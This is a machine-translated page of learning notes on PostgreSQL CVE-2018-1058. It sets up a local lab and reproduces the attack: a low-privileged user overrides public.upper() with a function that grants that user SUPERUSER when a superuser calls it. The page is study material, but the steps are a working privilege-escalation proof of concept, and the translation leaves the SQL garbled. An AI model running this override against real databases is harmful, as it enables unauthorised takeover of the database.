PostgreSQL Remote Code Execution Vulnerability (cve-2018-1058) Learning notes

Source: Internet
Author: User
Tags postgresql cve

0. Reference documents and Introduction:

1. The Prophet Community Chybeta the great god--postgresql Remote Code execution Vulnerability Analysis and utilization-"cve-2018-1058"--a article

2, the blog Park Hunchill--mac under the installation and use of PostgreSQL--a paper

First, PostgreSQL environment construction:

Install PostgreSQL on your Mac and start PostgreSQL

1 Install PostgreSQL 2 Brew Services start PostgreSQL

Second, create the User Configuration environment:

1, initialize the database, forget in the installation or initialization, generated super user, my superuser is hostname, here use BOBAC instead

1 Brew Services Stop PostgreSQL 2 initdb/usr/local/var/postgres-E UTF83 Brew Services start PostgreSQL

2. Create a regular user

1 CreateUser evil-p

3. Create a database:

1 createdb Evil-o evil-e utf8-e

Three, the principle analysis Introduction:

The principle of this vulnerability is to overload functions on the public space, adding malicious program code. While waiting for other accounts, especially high-privileged accounts, to invoke this function, malicious code (executed with high privileges) is executed to achieve the purpose of remote malicious code execution.

Iv. examples of processes (reference)

1. Create TABLE and insert data (Evil permission execution):

1 CREATE TABLE  Public  as SELECT ' Evil '::varchar as contents;

2. Define functions (Evil permission execution):

1 CREATE FUNCTION public. Upper (varcharRETURNSTEXT as $$2     ALTER ROLE evil SUPERUSER; 3     SELECT Pg_catalog. Upper ($1); 4 $$ LANGUAGE SQL VOLATILE;

3, the query time using the upper function (Bobac permission to execute)

1 SELECT Upper  from Hehehehe;

The Alter ROLE evil SUPERUSER was executed at this time;

4. Then view the user rights:

1 SELECT  from Pg_roles;

PostgreSQL Remote Code Execution Vulnerability (cve-2018-1058) Learning notes

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.